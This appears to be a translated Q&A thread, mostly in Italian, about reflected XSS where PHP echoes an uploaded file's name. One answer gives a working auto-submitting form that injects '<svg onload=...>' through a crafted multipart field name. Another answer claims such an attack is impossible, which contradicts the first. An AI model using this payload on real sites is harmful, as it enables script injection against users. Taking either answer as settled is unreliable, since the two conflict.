Reflected XSS via $ _FILES

Bene! Ho trovato questa domanda per caso e volevo condividere una parte di informazioni utili su come sfruttarla, nel caso qualcuno ancora stia cercando una risposta.

In breve, è possibile attivare l'XSS riflesso nel pezzo di codice che hai citato

echo $_FILES["file"]["name"];

La tecnica dipende dall'utilizzo di un modulo di tipo multipart/form-data e dall'iniettare la parte che include il nome e il tipo di file come parte del nome del campo come discusso in questo articolo

Ad esempio

<form method="post" action="http://example.com/uploadpage" enctype="multipart/form-data">
<textarea name='file"; filename="<svg onload=alert(document.domain)>
Content-Type: text/plain; '>Arbitrary File
Contents</textarea>
<input type="submit" value='Send "File"' />
</form>
<script>document.forms[0].submit();</script>

Questa parte di codice sfrutta la vulnerabilità XSS riflessa senza alcuna interazione dell'utente.

• Testato sull'ultima versione di Edge, IE (✓)

• Firefox aggiunge una barra rovesciata prima delle virgolette che rende incasinato il nome del campo.

• l'url di Chrome codifica le virgolette su% 22, quindi questa tecnica non funziona.

Come funziona

It relies on a bug in Firefox/IE/Safari where the filenames are not escaped before being put into the POST body to set the filename parameter and content-type header.

Questo non è possibile.

Non è possibile manipolare un modulo HTML utilizzando JavaScript per quanto riguarda i campi di caricamento dei file. Come indicato, il modulo deve essere inviato come multipart/form-data e il nome file deve essere inviato come parte di questo:

Content-Disposition: form-data; name="file"; filename="foo.exe"

Il valore di un input con file di tipo è di sola lettura in JavaScript. Ciò serve a impedire a una pagina Web dannosa di selezionare il file locale di un utente e caricarlo a sua insaputa.

Anche la costruzione dell'intera richiesta POST in JavaScript non è un'opzione. Questo perché la risposta dalla richiesta verrà recuperata come dati JavaScript, non come una pagina visualizzata come con un modulo HTML. Come hai notato, la stessa politica di origine impedirà comunque di leggere la risposta, ma non importa. Anche se potrebbe essere letto, diciamo se CORS è abilitato e JavaScript interpreta la risposta come HTML - questo HTML e qualsiasi script malevolo sarà reso nell'origine dell'attaccante - non l'origine del sito di destinazione dove è richiesta la sessione della vittima essere compromesso dall'attaccante.

L'unico attacco che viene in mente è l'impostazione di enctype di un modulo HTML su text/plain e il tentativo di costruire il

Content-Disposition: form-data; name="file"; filename="foo.exe"

linea utilizzando un input nascosto come questo per JSON . Tuttavia, questo non abiliterà il Content-Type e il contorno corretti da includere nell'intestazione della richiesta per l'analisi corretta da parte di PHP e non riuscirà:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykjwI5NtRzEheYJYc